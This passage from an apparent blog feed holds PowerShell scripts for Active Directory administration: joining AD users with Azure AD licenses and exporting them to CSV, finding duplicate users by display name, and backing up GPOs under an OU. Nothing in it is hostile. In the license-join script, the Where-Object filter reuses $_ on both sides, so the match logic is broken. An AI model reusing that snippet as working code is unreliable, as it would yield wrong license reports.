<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'DateLastLogonTimestamp'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DateTime</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::FromFileTime(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.LastLogonTimestamp).ToString(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"dd.MM.yyyy"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)}}</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'TimeLastLogonTimestamp'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">; Expression</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DateTime</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::FromFileTime(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.LastLogonTimestamp).ToString(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hh:mm"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)}}</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        DistinguishedName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Join Active Directory users with Azure AD license information</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$users </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $adUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ForEach-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $azureADUser </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $azureADUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.UserPrincipalName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.DistinguishedName.Split(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">','</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">].Split(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'='</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">] }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">PSCustomObject</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        DateLastLogonTimestamp </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.DateLastLogonTimestamp</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        TimeLastLogonTimestamp </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.TimeLastLogonTimestamp</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        DistinguishedName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.DistinguishedName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        AssignedLicenses </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $azureADUser.LicenseDetails.ServicePlans.ServicePlanName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-join</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ', '</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Export the user information to a CSV file</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$users </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Export-Csv</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'C:\install\UserInfo.csv'</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoTypeInformation</span></span></code></pre>
</div><h2 id="find-duplicate-users-in-active-directory-by-comparing-displayname" tabindex="-1">Find duplicate users in Active Directory by comparing Displayname <a class="header-anchor" href="#find-duplicate-users-in-active-directory-by-comparing-displayname" aria-label="Permalink to &quot;Find duplicate users in Active Directory by comparing Displayname&quot;">&ZeroWidthSpace;</a></h2>
<p>Script can be adapted to search for all ad attributes.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Import the Active Directory module</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ActiveDirectory</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get all user objects from Active Directory</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$users </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ADUser</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Properties displayname</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Create a hashtable to store displayname and the corresponding user objects</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$userTable </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Loop through each user object</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($user </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $users) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Get the displayname</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $upn </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $user.displayname</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # If the displayname is not null</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($upn) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # If the displayname already exists in the hashtable</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($userTable.ContainsKey($upn)) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">            # Add the current user object to the existing array</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            $userTable[$upn] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $user</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">            # Create a new array with the current user object</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">            $userTable[$upn] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($user)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Filter the hashtable to get only the entries with more than one user object</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$duplicateUsers </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $userTable.GetEnumerator() </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Value.Count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-gt</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Output the duplicate users</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($duplicateUsers) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Duplicate users found based on displayname:"</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($duplicateUser </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $duplicateUsers) {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">        Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "displayname: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$duplicateUser.Key</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        $duplicateUser.Value </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ForEach-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">            Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">`t</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Name</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.displayname</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "No duplicate users found based on displayname."</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h2 id="export-group-policies-from-specific-ou-and-its-subtree" tabindex="-1">Export Group Policies from specific OU and its subtree <a class="header-anchor" href="#export-group-policies-from-specific-ou-and-its-subtree" aria-label="Permalink to &quot;Export Group Policies from specific OU and its subtree&quot;">&ZeroWidthSpace;</a></h2>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name ActiveDirectory</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># – Set Variables</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$BaseOU</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">”OU=Server,DC=ad,DC=test,DC=com”</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$RootBackupFolder</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">”C:\temp”</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$BackupFolder</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-date</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">).ToString(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">“ddMMyyyy”</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># – Create Backup Folder</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">If</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Test-Path</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $RootBackupFolder\$BackupFolder) {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Write-Verbose</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> “Backup Folder already exists”</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Exit</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-Item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $RootBackupFolder\$BackupFolder </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ItemType Directory </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Verbose</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># – Main</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># — Get all GPO’s linked to OU Recursive</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$OUs </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$OUs </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-ADOrganizationalUnit</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">searchbase $BaseOU </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">filter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($OU </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $OUs){</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-ADOrganizationalUnit</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Identity $OU).LinkedGroupPolicyObjects </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> %</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # — Get GPO details</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $GPOGUID</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">”{”</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.Split(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">“{“</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]).Split(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">“}”</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> “}”</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $GPOName</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-GPO</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Guid $GPOGUID).DisplayName</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Verbose</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> “Processing: </span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$GPOName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">”</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # — Create backup folder based on GPO Name</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    New-Item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $RootBackupFolder\$BackupFolder\$GPOName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ItemType Directory </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Verbose</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # — Backup GPO</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Backup-GPO</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Guid $GPOGUID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $RootBackupFolder\$BackupFolder\$GPOName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Verbose</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div>]]></content:encoded>
        </item>
    </channel>
</rss>